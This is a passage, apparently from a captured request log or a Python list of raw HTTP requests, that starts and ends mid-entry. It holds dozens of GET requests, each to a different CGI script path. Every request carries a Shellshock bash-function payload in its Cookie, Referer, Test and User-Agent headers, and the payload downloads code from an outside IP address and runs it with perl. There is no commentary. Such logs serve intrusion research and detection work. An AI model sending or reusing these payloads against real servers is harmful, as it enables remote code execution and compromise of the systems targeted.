:; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin///admin.html HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/test-cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /dana-na/auth/url_default/welcome.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/ICuGI/EST/blast_detail.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /webtools/bonsai/cvsqueryform.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /webtools/bonsai/cvsblame.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /siteUserMod.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /shop/normal_html.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /process_bug.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /oem_webstage/cgi-bin/oemapp_cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /ministats/admin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /main.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /index.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /fcgi-bin/echo2HTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /ez2000/ezboard.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /details.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /debug.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /dcforum/dcforum.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /dcadmin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /csPassword.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /CSNews.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /create_release.shHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cp/rac/nsManager.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /connector.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgistartHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-sys/mchat.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-sys/helpdesk.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-sys/domainredirect.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-mod/index.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/zml.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/wrap.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/whois_raw.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/whois/whois.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/whois.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/webspirs.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/webmail/html/emumail.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/webif.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/webdist.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/w3mman2html.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/vpasswd.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/viralator.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/ultraboard.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/troops.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/tidfinder.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/test2.plHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/test/test.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/test-cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/talkback.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/store.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/spin_client.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/sojourn.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/snorkerz.cmdHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/simplestguest.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/sendform.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/scoadminreg.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/quickstore.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/profile.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/printenvHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/postcards.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/pollssi.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/photo/protected/manage.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/nph-publish.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/myguestbook.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/mmstdod.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/man.shHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/mail/nph-mr.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/magiccard.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET 